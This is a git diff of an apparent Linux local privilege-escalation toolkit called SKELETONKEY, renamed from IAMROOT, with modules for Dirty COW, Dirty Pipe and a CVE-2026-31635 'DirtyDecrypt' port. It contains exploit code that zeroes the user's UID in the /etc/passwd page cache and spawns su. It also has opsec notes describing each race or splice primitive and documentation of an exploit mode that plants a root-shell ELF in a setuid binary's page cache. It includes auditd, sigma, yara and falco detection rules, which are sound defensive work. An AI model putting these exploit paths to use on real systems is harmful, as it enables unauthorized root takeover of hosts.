+static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] dirty_cow: Linux-only module "
+                "(/proc/self/mem + madvise race) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ */
+
 /* ---- Embedded detection rules ---- */
 
 static const char dirty_cow_auditd[] =
@@ -325,14 +365,14 @@ static const char dirty_cow_auditd[] =
     "# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
     "# False-positive surface: debuggers, gdb, strace — all legit users of\n"
     "# /proc/self/mem. Combine with the file watches below to triangulate.\n"
-    "-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
-    "-w /etc/passwd    -p wa -k iamroot-dirty-cow\n"
-    "-w /etc/shadow    -p wa -k iamroot-dirty-cow\n"
-    "-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
+    "-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
+    "-w /etc/passwd    -p wa -k skeletonkey-dirty-cow\n"
+    "-w /etc/shadow    -p wa -k skeletonkey-dirty-cow\n"
+    "-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
 
 static const char dirty_cow_sigma[] =
     "title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
-    "id: 1e2c5d8f-iamroot-dirty-cow\n"
+    "id: 1e2c5d8f-skeletonkey-dirty-cow\n"
     "status: experimental\n"
     "description: |\n"
     "  Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
@@ -350,7 +390,36 @@ static const char dirty_cow_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
 
-const struct iamroot_module dirty_cow_module = {
+static const char dirty_cow_yara[] =
+    "rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2016-5195\"\n"
+    "        description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
+    "    condition:\n"
+    "        $uid_flip\n"
+    "}\n";
+
+static const char dirty_cow_falco[] =
+    "- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
+    "  desc: |\n"
+    "    Non-root pwrite() targeting /proc/self/mem at an offset that\n"
+    "    overlaps a private mmap of /etc/passwd. Combined with a\n"
+    "    racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
+    "    primitive (CVE-2016-5195).\n"
+    "  condition: >\n"
+    "    evt.type = pwrite and fd.name = /proc/self/mem and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    pwrite to /proc/self/mem by non-root\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
+
+const struct skeletonkey_module dirty_cow_module = {
     .name           = "dirty_cow",
     .cve            = "CVE-2016-5195",
     .summary        = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
@@ -362,11 +431,13 @@ const struct iamroot_module dirty_cow_module = {
     .cleanup        = dirty_cow_cleanup,
     .detect_auditd  = dirty_cow_auditd,
     .detect_sigma   = dirty_cow_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = dirty_cow_yara,
+    .detect_falco   = dirty_cow_falco,
+    .opsec_notes    = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
-void iamroot_register_dirty_cow(void)
+void skeletonkey_register_dirty_cow(void)
 {
-    iamroot_register(&dirty_cow_module);
+    skeletonkey_register(&dirty_cow_module);
 }

modules/dirty_cow_cve_2016_5195/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
+ */
+
+#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
+#define DIRTY_COW_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module dirty_cow_module;
+
+#endif

modules/dirty_pipe_cve_2022_0847/MODULE.md

@@ -25,7 +25,7 @@ by them.
 
 Even in 2026, many production deployments still run vulnerable
 kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
-makes IAMROOT useful as a "historical sweep" tool on long-tail
+makes SKELETONKEY useful as a "historical sweep" tool on long-tail
 systems.
 
 ## Implementation plan
@@ -34,8 +34,8 @@ systems.
   `NOTICE.md` when implemented)
 - `detect()`: kernel version check + `/proc/version` parse + test
   for fixed-version backports
-- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
-  `/etc/passwd`, then `su iamroot` — same shape as copy_fail's
+- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
+  `/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
   backdoor mode
 - Detection rules: auditd on splice() calls + pipe write patterns,
   filesystem audit on `/etc/passwd` modification by non-root
@@ -44,4 +44,4 @@ systems.
 
 Pick this up after Phase 1 (module-interface refactor of the
 copy_fail family) so this module can use the standard
-`iamroot_module` shape from the start.
+`skeletonkey_module` shape from the start.

modules/dirty_pipe_cve_2022_0847/NOTICE.md

@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
 
 Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
 
-## IAMROOT role
+## SKELETONKEY role
 
 This module bundles the canonical splice-into-pipe primitive that
 writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell

modules/dirty_pipe_cve_2022_0847/detect/auditd.rules

@@ -13,14 +13,14 @@
 # Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
 # any modification by non-root — the Dirty Pipe payload typically
 # overwrites these to gain root.
--w /etc/passwd      -p wa -k iamroot-dirty-pipe
--w /etc/shadow      -p wa -k iamroot-dirty-pipe
--w /etc/sudoers     -p wa -k iamroot-dirty-pipe
--w /etc/sudoers.d   -p wa -k iamroot-dirty-pipe
+-w /etc/passwd      -p wa -k skeletonkey-dirty-pipe
+-w /etc/shadow      -p wa -k skeletonkey-dirty-pipe
+-w /etc/sudoers     -p wa -k skeletonkey-dirty-pipe
+-w /etc/sudoers.d   -p wa -k skeletonkey-dirty-pipe
 
 # Watch every splice() syscall — combined with the file watches above
 # this catches the canonical exploit shape. (High volume on servers
 # using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
 # exclude web servers.)
--a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
--a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
+-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
+-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice

modules/dirty_pipe_cve_2022_0847/detect/sigma.yml

@@ -1,5 +1,5 @@
 title: Possible Dirty Pipe exploitation (CVE-2022-0847)
-id: f6b13c08-iamroot-dirty-pipe
+id: f6b13c08-skeletonkey-dirty-pipe
 status: experimental
 description: |
   Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
@@ -10,7 +10,7 @@ description: |
 references:
   - https://dirtypipe.cm4all.com/
   - https://nvd.nist.gov/vuln/detail/CVE-2022-0847
-author: IAMROOT
+author: SKELETONKEY
 date: 2026/05/16
 logsource:
   product: linux

modules/dirty_pipe_cve_2022_0847/iamroot_modules.h

@@ -1,12 +0,0 @@
-/*
- * dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
- */
-
-#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
-#define DIRTY_PIPE_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module dirty_pipe_module;
-
-#endif

modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c

@@ -1,9 +1,9 @@
 /*
- * dirty_pipe_cve_2022_0847 — IAMROOT module
+ * dirty_pipe_cve_2022_0847 — SKELETONKEY module
  *
  * Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
  * commit (the C code is well-understood — Max Kellermann's public PoC
- * is the reference — but landing it under the iamroot_module
+ * is the reference — but landing it under the skeletonkey_module
  * interface needs the shared passwd-field/exploit-su helpers in core/
  * which are deferred to Phase 1.5).
  *
@@ -15,24 +15,23 @@
  *
  * Detect logic:
  *   - Parse uname() release into major.minor.patch
- *   - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
+ *   - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
  *   - If kernel is on a branch with a known backport, compare patch
  *     level (above threshold = patched, below = vulnerable)
- *   - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
- *   - Otherwise → IAMROOT_VULNERABLE
+ *   - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
+ *   - Otherwise → SKELETONKEY_VULNERABLE
  *
  * Edge case: distros sometimes ship custom-numbered kernels (e.g.
  * Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
  * counter, NOT the upstream patch level). For now we treat that as
- * an unknown distro backport and report IAMROOT_TEST_ERROR with a
+ * an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
  * hint. A future enhancement: parse /proc/version's full string
  * which usually includes the upstream patch level after the distro
  * suffix.
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
-#include "../../core/kernel_range.h"
 
 /* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
  * redefine here (warning: redefined). */
@@ -42,6 +41,11 @@
 #include <string.h>
 #include <stdbool.h>
 #include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"   /* used inside this block only */
+#include "../../core/host.h"
 #include <fcntl.h>
 #include <errno.h>
 #include <sys/stat.h>
@@ -223,7 +227,7 @@ static const struct kernel_range dirty_pipe_range = {
  * /etc/passwd writes; safe to run from --scan --active. */
 static int dirty_pipe_active_probe(void)
 {
-    char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
+    char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
     int fd = mkstemp(probe_path);
     if (fd < 0) return -1;
     const char seed[16] = "ABCDABCDABCDABCD";
@@ -252,24 +256,29 @@ static int dirty_pipe_active_probe(void)
     return readback[4] == 'X' ? 1 : 0;
 }
 
-static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
 {
-    struct kernel_version v;
-    if (!kernel_version_current(&v)) {
-        fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+    /* Consult the shared host fingerprint instead of calling
+     * kernel_version_current() ourselves — populated once at startup
+     * and identical across every module's detect(). */
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
+                "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Bug introduced in 5.8. */
-    if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
+    if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
         if (!ctx->json) {
             fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
-                    v.release);
+                    v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
-    bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
+    bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
 
     /* Active probe overrides version-only verdict when requested.
      * The version check is necessary-but-not-sufficient: distros
@@ -284,9 +293,9 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
         if (probe == 1) {
             if (!ctx->json) {
                 fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
-                                "(version %s)\n", v.release);
+                                "(version %s)\n", v->release);
             }
-            return IAMROOT_VULNERABLE;
+            return SKELETONKEY_VULNERABLE;
         }
         if (probe == 0) {
             if (!ctx->json) {
@@ -294,7 +303,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
                                 "primitive blocked (likely patched%s)\n",
                                 patched_by_version ? "" : ", or distro silently backported");
             }
-            return IAMROOT_OK;
+            return SKELETONKEY_OK;
         }
         /* probe < 0: probe machinery failed (mkstemp/open/read) — fall
          * back to version-only verdict and report TEST_ERROR caveat */
@@ -307,37 +316,40 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
     if (patched_by_version) {
         if (!ctx->json) {
             fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
-                            "use --active to confirm empirically)\n", v.release);
+                            "use --active to confirm empirically)\n", v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
     if (!ctx->json) {
         fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
                         "    Confirm empirically: re-run with --scan --active\n",
-                v.release);
+                v->release);
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
-static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
 {
     /* Re-confirm vulnerability before writing to /etc/passwd. */
-    iamroot_result_t pre = dirty_pipe_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = dirty_pipe_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
         return pre;
     }
 
-    /* Resolve current user. */
+    /* Resolve current user. Consult ctx->host->is_root for the
+     * already-root short-circuit so unit tests can construct a
+     * non-root fingerprint regardless of the test process's real euid. */
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
+        return SKELETONKEY_OK;
+    }
     uid_t euid = geteuid();
     struct passwd *pw = getpwuid(euid);
     if (!pw) {
         fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
-        return IAMROOT_TEST_ERROR;
-    }
-    if (euid == 0) {
-        fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Find the UID field. Need a 4-digit-or-similar UID we can replace
@@ -349,7 +361,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
     if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
         fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
                 pw->pw_name);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
     if (!ctx->json) {
         fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -368,7 +380,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
      * far past the file's first 4096 bytes. Refuse cleanly. */
     if ((uid_off & 0xfff) == 0) {
         fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     if (!ctx->json) {
@@ -377,13 +389,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
     }
     if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
         fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     if (ctx->no_shell) {
         fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
-                        "[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
-        return IAMROOT_EXPLOIT_OK;
+                        "[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
+        return SKELETONKEY_EXPLOIT_OK;
     }
 
     /* /etc/passwd now reports our user as uid 0 (in the page cache).
@@ -394,35 +406,96 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
     /* If execlp returns, su didn't actually pop root — revert and report. */
     perror("execlp(su)");
     revert_passwd_page_cache();
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }
 
-static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
 {
     (void)ctx;
     if (!ctx->json) {
         fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
     }
     revert_passwd_page_cache();
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }
 
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
+ * Linux-only kernel surface; the Dirty Pipe primitive is structurally
+ * unreachable elsewhere. Stub out cleanly so the module still
+ * registers and `--list` / `--detect-rules` work on macOS/BSD dev
+ * boxes — and so the top-level `make` actually completes there. */
+static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] dirty_pipe: Linux-only module "
+                "(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ */
+
 /* Embedded detection rules — keep the binary self-contained so
- * `iamroot --detect-rules --format=auditd` works without a separate
+ * `skeletonkey --detect-rules --format=auditd` works without a separate
  * data-dir install. */
 static const char dirty_pipe_auditd[] =
     "# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
     "# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
-    "-w /etc/passwd    -p wa -k iamroot-dirty-pipe\n"
-    "-w /etc/shadow    -p wa -k iamroot-dirty-pipe\n"
-    "-w /etc/sudoers   -p wa -k iamroot-dirty-pipe\n"
-    "-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
-    "-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
-    "-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
+    "-w /etc/passwd    -p wa -k skeletonkey-dirty-pipe\n"
+    "-w /etc/shadow    -p wa -k skeletonkey-dirty-pipe\n"
+    "-w /etc/sudoers   -p wa -k skeletonkey-dirty-pipe\n"
+    "-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
+    "-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
+    "-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
+
+static const char dirty_pipe_yara[] =
+    "rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2022-0847\"\n"
+    "        description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
+    "    condition:\n"
+    "        $uid_flip\n"
+    "}\n";
+
+static const char dirty_pipe_falco[] =
+    "- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
+    "  desc: |\n"
+    "    A non-root process calls splice() with a fd pointing at a\n"
+    "    setuid-root binary or a credential file. The Dirty Pipe\n"
+    "    primitive (CVE-2022-0847) splices 1 byte from the target to\n"
+    "    a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
+    "    then writes attacker bytes that land in the file's page cache.\n"
+    "  condition: >\n"
+    "    evt.type = splice and not user.uid = 0 and\n"
+    "    (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
+    "     or fd.name startswith /usr/bin/su\n"
+    "     or fd.name startswith /usr/bin/passwd\n"
+    "     or fd.name startswith /bin/su)\n"
+    "  output: >\n"
+    "    Dirty Pipe-style splice from sensitive file by non-root\n"
+    "    (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
 
 static const char dirty_pipe_sigma[] =
     "title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
-    "id: f6b13c08-iamroot-dirty-pipe\n"
+    "id: f6b13c08-skeletonkey-dirty-pipe\n"
     "status: experimental\n"
     "logsource: {product: linux, service: auditd}\n"
     "detection:\n"
@@ -435,7 +508,7 @@ static const char dirty_pipe_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
 
-const struct iamroot_module dirty_pipe_module = {
+const struct skeletonkey_module dirty_pipe_module = {
     .name           = "dirty_pipe",
     .cve            = "CVE-2022-0847",
     .summary        = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
@@ -447,11 +520,13 @@ const struct iamroot_module dirty_pipe_module = {
     .cleanup        = dirty_pipe_cleanup,
     .detect_auditd  = dirty_pipe_auditd,
     .detect_sigma   = dirty_pipe_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = dirty_pipe_yara,
+    .detect_falco   = dirty_pipe_falco,
+    .opsec_notes    = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
-void iamroot_register_dirty_pipe(void)
+void skeletonkey_register_dirty_pipe(void)
 {
-    iamroot_register(&dirty_pipe_module);
+    skeletonkey_register(&dirty_pipe_module);
 }

modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
+ */
+
+#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
+#define DIRTY_PIPE_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module dirty_pipe_module;
+
+#endif

modules/dirtydecrypt_cve_2026_31635/MODULE.md

@@ -0,0 +1,81 @@
+# dirtydecrypt — CVE-2026-31635
+
+> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
+> the `skeletonkey_module` interface. **Not yet validated end-to-end on
+> a vulnerable-kernel VM** — see _Verification status_ below.
+
+## Summary
+
+DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
+`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
+incoming rxgk socket buffers **in place** before the HMAC is verified.
+When the skb fragment pages are page-cache pages — spliced in via
+`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
+page cache of a read-only file.
+
+It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
+(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
+(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
+
+## Primitive
+
+Each `fire()`:
+
+1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
+2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
+   completes the rxgk handshake.
+3. Forges a DATA packet whose **wire header comes from userspace** and
+   whose **payload pages come from the target file's page cache**
+   (`splice` + `vmsplice`).
+4. The kernel decrypts the spliced page-cache pages in place — the HMAC
+   check then fails (expected), but the page cache is already mutated.
+
+`pagecache_write()` drives a **sliding-window** technique: byte[0] of
+each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
+the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
+15-byte collateral of round _i_ without disturbing the byte round _i_
+fixed. Net cost ≈ 256 fires per byte.
+
+The exploit rewrites the first 120 bytes of a setuid-root binary
+(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
+`setuid(0)` + `execve("/bin/sh")`.
+
+## Operations
+
+| Op | Behaviour |
+|---|---|
+| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
+| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
+| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
+| `--detect-rules` | Emits embedded auditd + sigma rules. |
+
+## Preconditions
+
+- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
+- A readable setuid-root binary to use as the payload carrier.
+- x86_64 (the embedded ELF payload is x86_64 shellcode).
+
+## Verification status
+
+This module is a **faithful port** of
+<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
+into the SKELETONKEY module interface. The **exploit body** has not
+been validated end-to-end against a known-vulnerable kernel inside the
+SKELETONKEY CI matrix.
+
+**`detect()` is now version-pinned** against the mainline fix commit
+[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
+< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
+tracker confirms older stable branches as <not-affected, vulnerable
+code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
+detector runs the rxgk primitive against a `/tmp` sentinel and reports
+empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
+the version check misses.
+
+[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
+
+**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
+kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
+for CVE-2026-31635 is the source of truth for branch-backport
+thresholds; extend the `kernel_range` table when distros publish
+stable backports.

modules/dirtydecrypt_cve_2026_31635/NOTICE.md

@@ -0,0 +1,47 @@
+# NOTICE — dirtydecrypt
+
+## Vulnerability
+
+**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
+guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
+calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
+`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
+decrypts **in place** before verifying the HMAC. When the skb fragment
+pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
+loopback), the in-place decrypt corrupts the page cache of a read-only
+file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
+
+Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
+(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
+primitives that abuse a missing COW boundary.
+
+## Research credit
+
+Discovered and reported by **Zellic** and the **V12 security** team.
+Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
+V12 security team.
+
+> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
+
+The upstream PoC file (`poc.c`) carries no author, project, or
+`LICENSE` header of its own — its header is a purely technical
+description of the bug. The credit above is from the public
+disclosure, not from the file. CVE-2026-31635 was assigned for the
+flaw; its fix commit is not pinned in this module (see below).
+
+## SKELETONKEY role
+
+`skeletonkey_modules.c` is a port of the V12 PoC into the
+`skeletonkey_module` interface. The exploit primitive — the
+`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
+token builder, the 120-byte ET_DYN ELF payload — is reproduced from
+that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
